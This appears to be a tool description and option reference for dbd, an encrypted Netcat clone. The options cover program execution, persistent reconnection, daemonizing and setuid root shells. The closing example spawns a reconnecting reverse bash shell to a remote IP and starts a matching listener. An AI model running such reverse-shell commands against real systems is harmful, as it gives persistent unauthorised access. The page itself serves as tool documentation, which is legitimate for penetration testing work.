dbd is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. dbd features AES-CBC-128 + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. dbd supports TCP/IP communication only. Source code and binaries are distributed under the GNU General Public License.
connect (tcp): dbd [-options] host port
listen (tcp): dbd -l -p port [-options]
-l listen for incoming connection -p n choose port to listen on, or source port to connect out from -a address choose an address to listen on or connect out from -e prog program to execute after connect (e.g. -e cmd.exe or -e bash) -r n infinitely respawn/reconnect, pause for n seconds between connection attempts. -r0 can be used to re-listen after disconnect (just like a regular daemon) -c on|off encryption on/off. specify whether you want to use the built-in AES-CBC-128 + HMAC-SHA1 encryption implementation (by Christophe Devine - http://www.cr0.net:8040/) or not default is: -c on -k secret override default phrase to use for encryption (secret must be shared between client and server) -q hush, quiet, don't print anything (overrides -v) -v be verbose -n toggle numeric-only IP addresses (don't do DNS resolution). if you specify -n twice, original state will be active (i.e. -n works like a on/off switch) -m toggle monitoring (snooping) on/off (only used with the -e option). snooping can also be turned on by specifying -vv (-v two times) -P prefix add prefix (+ a hardcoded separator) to all outbound data. this option is mostly only useful for dbd in "chat mode" (to prefix lines you send with your nickname) -H on|off highlight incoming data with a hardcoded (color) escape sequence (for e.g. chatting). default is: -H off -V print version banner and exit (include that output in your bug report and send bug report to [email protected]) unix-like OS specific options: -s invoke a shell, nothing else. if dbd is setuid 0, it'll invoke a root shell -w n "immobility timeout" in seconds for idle read/write operations and program execution (the -e option) -D on|off fork and run in background (daemonize). default: -D off
cyborg@cyborg:~$ sudo dbd -r 2600 -D off -e /bin/bash 192.168.1.12 8080
cyborg@cyborg:~$ sudo dbd -l -p8080 -v [sudo] password for cyborg: listening on port 8080